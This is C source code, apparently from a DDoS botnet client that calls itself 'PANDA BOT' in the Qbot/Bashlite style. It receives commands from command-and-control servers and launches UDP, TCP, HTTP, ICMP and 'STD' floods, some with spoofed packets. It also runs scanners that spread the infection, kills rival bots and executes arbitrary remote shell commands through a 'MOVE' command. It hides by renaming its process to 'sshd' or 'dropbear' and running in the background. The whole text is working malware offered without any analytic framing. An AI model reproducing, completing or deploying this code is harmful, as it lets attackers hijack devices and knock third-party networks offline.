if(!strcmp(argv[0], "GETLOCALIP")) {
HackerPrint(D1ckSucka, "My IP: %s", inet_ntoa(ourIP));
return;
}
if(!strcmp(argv[0], "BOTKILL")) {
if(!listFork()) {
HackerPrint(D1ckSucka, "Killing Bots");
botkiller();
_exit(0);
}
}
    if(!strcmp(argv[0], "PHONE")) {
if(argc != 2) {
HackerPrint(D1ckSucka, "PHONE ON | OFF");
return; }
if(!strcmp(argv[1], "OFF")) {
if(Phonepid == 0) return;
kill(Phonepid, 9);
HackerPrint(D1ckSucka, "PHONE SCANNER OFF:%s", inet_ntoa(ourIP));
Phonepid = 0; }
if(!strcmp(argv[1], "ON")) {
if(Phonepid != 0) return;
uint32_t parent;
parent = fork();
if (parent > 0) { Phonepid = parent; return;}
else if(parent == -1) return;
PhoneScanner();
_exit(0);
}
}
if(!strcmp(argv[0], "SCANNER")) {
if(argc != 2) {
HackerPrint(D1ckSucka, "SCANNER ON | OFF");
return; }
if(!strcmp(argv[1], "OFF")) {
if(scanPid == 0) return;
kill(scanPid, 9);
HackerPrint(D1ckSucka, " OFF");
scanPid = 0; }
if(!strcmp(argv[1], "ON")) {
if(scanPid != 0) return;
uint32_t parent;
parent = fork();
if (parent > 0) { scanPid = parent; return;}
else if(parent == -1) return;
HackaShit();
_exit(0);
}
}
        if(!strcmp(argv[0], "ICMP"))
        {
            if(argc < 2)
            {
                return;
            }else{
                unsigned char *ipzz = argv[1];
                int PacketSize = atoi(argv[2]);
                int Intervalz = atoi(argv[3]);
                int TimeNeg = atoi(argv[4]);
                if(!listFork())
                {
                    ICMPFlood(ipzz, PacketSize, Intervalz, TimeNeg);
                    _exit(0);
                }
                return;
            }
        }
if(!strcmp(argv[0], "UDP")) {
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[5]) == -1 || atoi(argv[5]) > 65500 || atoi(argv[4]) > 32 || (argc == 7 && atoi(argv[6]) < 1)) {
return; }
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
int spoofed = atoi(argv[4]);
int packetsize = atoi(argv[5]);
int pollinterval = (argc == 7 ? atoi(argv[6]) : 10);
if(strstr(ip, ",") != NULL) {
unsigned char *hi = strtok(ip, ",");
while(hi != NULL) {
if(!listFork()) {
sendUDP(hi, port, time, spoofed, packetsize, pollinterval);
_exit(0); }
hi = strtok(NULL, ","); }
} else {
if (listFork()) { return; }
sendUDP(ip, port, time, spoofed, packetsize, pollinterval);
_exit(0);
}
}
if (!strcmp((const char *)argv[0], "HTTP")) {
if (argc < 6) {
return; }
if (strstr((const char *)argv[1], ",") != NULL) {
unsigned char *hi = (unsigned char *)strtok((char *)argv[1], ",");
while (hi != NULL) {
if (!listFork()) {
sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
_exit(0); }
hi = (unsigned char *)strtok(NULL, ","); }
} else {
if (listFork()) {
return; }
sendHTTP((char*)argv[1], (char*)argv[2], atoi((char*)argv[3]), (char*)argv[4], atoi((char*)argv[5]), atoi((char*)argv[6]));
_exit(0);
}
}
if(!strcmp(argv[0], "STD")) {
if(argc < 4 || atoi(argv[2]) < 1 || atoi(argv[3]) < 1)
{ return; }
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
if(strstr(ip, ",") != NULL) {
unsigned char *hi = strtok(ip, ",");
while(hi != NULL) {
if(!listFork()) {
sendSTD(hi, port, time);
_exit(0); }
hi = strtok(NULL, ","); }
} else {
if (listFork()) { return; }
sendSTD(ip, port, time);
_exit(0);
}
}
if(!strcmp(argv[0], "UKN")) {
if(argc < 3 || atoi(argv[2]) < 1) {
return; }
unsigned char *ip = argv[1];
int time = atoi(argv[2]);
if(strstr(ip, ",") != NULL) {
unsigned char *hi = strtok(ip, ",");
while(hi != NULL) {
if(!listFork()) {
sendUKNOWN(ip, time);
_exit(0); }
hi = strtok(NULL, ","); }
} else {
if (listFork()) { return; }
sendUKNOWN(ip, time);
_exit(0);
}
}
if(!strcmp(argv[0], "RANGE")) {
if(argc < 2 || atoi(argv[1]) == -1){
HackerPrint(D1ckSucka, "RANGE <option 0-idk>");
}else{
HackerPrint(D1ckSucka, "Range %d->%d", rangechoice, atoi(argv[1]));
rangechoice = atoi(argv[1]);
}
return;
}
if(!strcmp(argv[0], "TCP")) {
if(argc < 6 || atoi(argv[3]) == -1 || atoi(argv[2]) == -1 || atoi(argv[4]) == -1 || atoi(argv[4]) > 32 || (argc > 6 && atoi(argv[6]) < 0) || (argc == 8 && atoi(argv[7]) < 1)) {
return; }
unsigned char *ip = argv[1];
int port = atoi(argv[2]);
int time = atoi(argv[3]);
int spoofed = atoi(argv[4]);
unsigned char *flags = argv[5];
int pollinterval = argc == 8 ? atoi(argv[7]) : 10;
int psize = argc > 6 ? atoi(argv[6]) : 0;
if(strstr(ip, ",") != NULL) {
unsigned char *hi = strtok(ip, ",");
while(hi != NULL) {
if(!listFork()) {
sendTCP(hi, port, time, spoofed, flags, psize, pollinterval);
_exit(0); }
hi = strtok(NULL, ","); }
} else {
if (listFork()) { return; }
sendTCP(ip, port, time, spoofed, flags, psize, pollinterval);
_exit(0);
}
}
if(!strcmp(argv[0], "STOP")) {
int killed = 0;
unsigned long i;
for (i = 0; i < numpids; i++) {
if (pids[i] != 0 && pids[i] != getpid()) {
kill(pids[i], 9);
killed++;
}
}
}
if(!strcmp(argv[0], "HOODASSSHIT18392839313129312392881929332R23937293173")) {
exit(0);
}
}
int initConnection() {
unsigned char server[4096];
memset(server, 0, 4096);
if(D1ckSucka) { close(D1ckSucka); D1ckSucka = 0; }
if(D1ckSuckaz + 1 == SERVER_LIST_SIZE) D1ckSuckaz = 0;
else D1ckSuckaz++;
strcpy(server, D3cOdeMePlS[D1ckSuckaz]);
int port = Server_Botport;
if(strchr(server, ':') != NULL) {
port = atoi(strchr(server, ':') + 1);
*((unsigned char *)(strchr(server, ':'))) = 0x0; }
D1ckSucka = socket(AF_INET, SOCK_STREAM, 0);
if(!connectTimeout(D1ckSucka, server, port, 30)) return 1;
return 0;
}
int getOurIP() {
int sock = socket(AF_INET, SOCK_DGRAM, 0);
if(sock == -1) return 0;
struct sockaddr_in serv;
memset(&serv, 0, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_addr.s_addr = inet_addr("8.8.8.8");
serv.sin_port = htons(53);
int err = connect(sock, (const struct sockaddr*) &serv, sizeof(serv));
if(err == -1) return 0;
struct sockaddr_in name;
socklen_t namelen = sizeof(name);
err = getsockname(sock, (struct sockaddr*) &name, &namelen);
if(err == -1) return 0;
ourIP.s_addr = name.sin_addr.s_addr;
int cmdline = open("/proc/net/route", O_RDONLY);
char linebuf[4096];
while(fdgets(linebuf, 4096, cmdline) != NULL)
{
if(strstr(linebuf, "\t00000000\t") != NULL)
{
unsigned char *pos = linebuf;
while(*pos != '\t') pos++;
*pos = 0;
break;
}
memset(linebuf, 0, 4096);
}
close(cmdline);
if(*linebuf)
{
int i;
struct ifreq ifr;
strcpy(ifr.ifr_name, linebuf);
ioctl(sock, SIOCGIFHWADDR, &ifr);
for (i=0; i<6; i++) macAddress[i] = ((unsigned char*)ifr.ifr_hwaddr.sa_data)[i];
}
close(sock);
}
char *getBuild()
{
if(access("/usr/bin/python", F_OK) != -1){
return "SERVER";
} else {
return "ROUTER";
}
}
int main(int argc, unsigned char *argv[])
{
char *mynameis = "";
if(access("/usr/bin/python", F_OK) != -1){
mynameis = "sshd";
} else {
mynameis = "/usr/sbin/dropbear";
}
if(geteuid() == 0){
userID = 0;
}
char *Buildz = getBuild();
if(Buildz == "SERVER")
{
//If python is installed
} else {
//If python is not installed
}
if(SERVER_LIST_SIZE <= 0) return 0;
printf("%s\n", getBuild());
strncpy(argv[0],"",strlen(argv[0]));
sprintf(argv[0], mynameis);
prctl(PR_SET_NAME, (unsigned long) mynameis, 0, 0, 0);
srand(time(NULL) ^ getpid());
init_rand(time(NULL) ^ getpid());
pid_t pid1;
pid_t pid2;
int status;
getOurIP();
if (pid1 = fork()) {
waitpid(pid1, &status, 0);
exit(0);
} else if (!pid1) {
if (pid2 = fork()) {
exit(0);
} else if (!pid2) {
} else {
//N
}
} else {
//N
}
setsid();
chdir("/");
signal(SIGPIPE, SIG_IGN);
while(1)
{
if(initConnection()) { sleep(5); continue; }
HackerPrint(D1ckSucka, "\x1b[35mPANDA BOT CONNECTED \x1b[36m-> \x1b[37m%s | \x1b[35mTYPE \x1b[36m-> \x1b[37m%s", inet_ntoa(ourIP), getBuild());
char commBuf[4096];
int got = 0;
int i = 0;
while((got = recvLine(D1ckSucka, commBuf, 4096)) != -1)
{
for (i = 0; i < numpids; i++) if (waitpid(pids[i], NULL, WNOHANG) > 0) {
unsigned int *newpids, on;
for (on = i + 1; on < numpids; on++) pids[on-1] = pids[on];
pids[on - 1] = 0;
numpids--;
newpids = (unsigned int*)malloc((numpids + 1) * sizeof(unsigned int));
for (on = 0; on < numpids; on++) newpids[on] = pids[on];
free(pids);
pids = newpids;
}
commBuf[got] = 0x00;
trim(commBuf);
if(strstr(commBuf, "PING") == commBuf)
{
HackerPrint(D1ckSucka, "PONG");
continue;
}
if(strstr(commBuf, "DUP") == commBuf) exit(0);
unsigned char *message = commBuf;
if(*message == '!')
{
unsigned char *nickMask = message + 1;
while(*nickMask != ' ' && *nickMask != 0x00) nickMask++;
if(*nickMask == 0x00) continue;
*(nickMask) = 0x00;
nickMask = message + 1;
message = message + strlen(nickMask) + 2;
while(message[strlen(message) - 1] == '\n' || message[strlen(message) - 1] == '\r') message[strlen(message) - 1] = 0x00;
unsigned char *command = message;
while(*message != ' ' && *message != 0x00) message++;
*message = 0x00;
message++;
unsigned char *tmpcommand = command;
while(*tmpcommand) { *tmpcommand = toupper(*tmpcommand); tmpcommand++; }
if(strcmp(command, "MOVE") == 0)
{
unsigned char buf[1024];
int command;
if (listFork()) continue;
memset(buf, 0, 1024);
szprintf(buf, "%s 2>&1", message);
command = fdpopen(buf, "r");
while(fdgets(buf, 1024, command) != NULL)
{
trim(buf);
memset(buf, 0, 1024);
sleep(1);
}
fdpclose(command);
exit(0);
}
unsigned char *params[10];
int paramsCount = 1;
unsigned char *pch = strtok(message, " ");
params[0] = command;
while(pch)
{
if(*pch != '\n')
{
params[paramsCount] = (unsigned char *)malloc(strlen(pch) + 1);
memset(params[paramsCount], 0, strlen(pch) + 1);
strcpy(params[paramsCount], pch);
paramsCount++;
}
pch = strtok(NULL, " ");
}
processCmd(paramsCount, params);
if(paramsCount > 1)
{
int q = 1;
for(q = 1; q < paramsCount; q++)
{
free(params[q]);
}
}
}
}
}
return 0;
}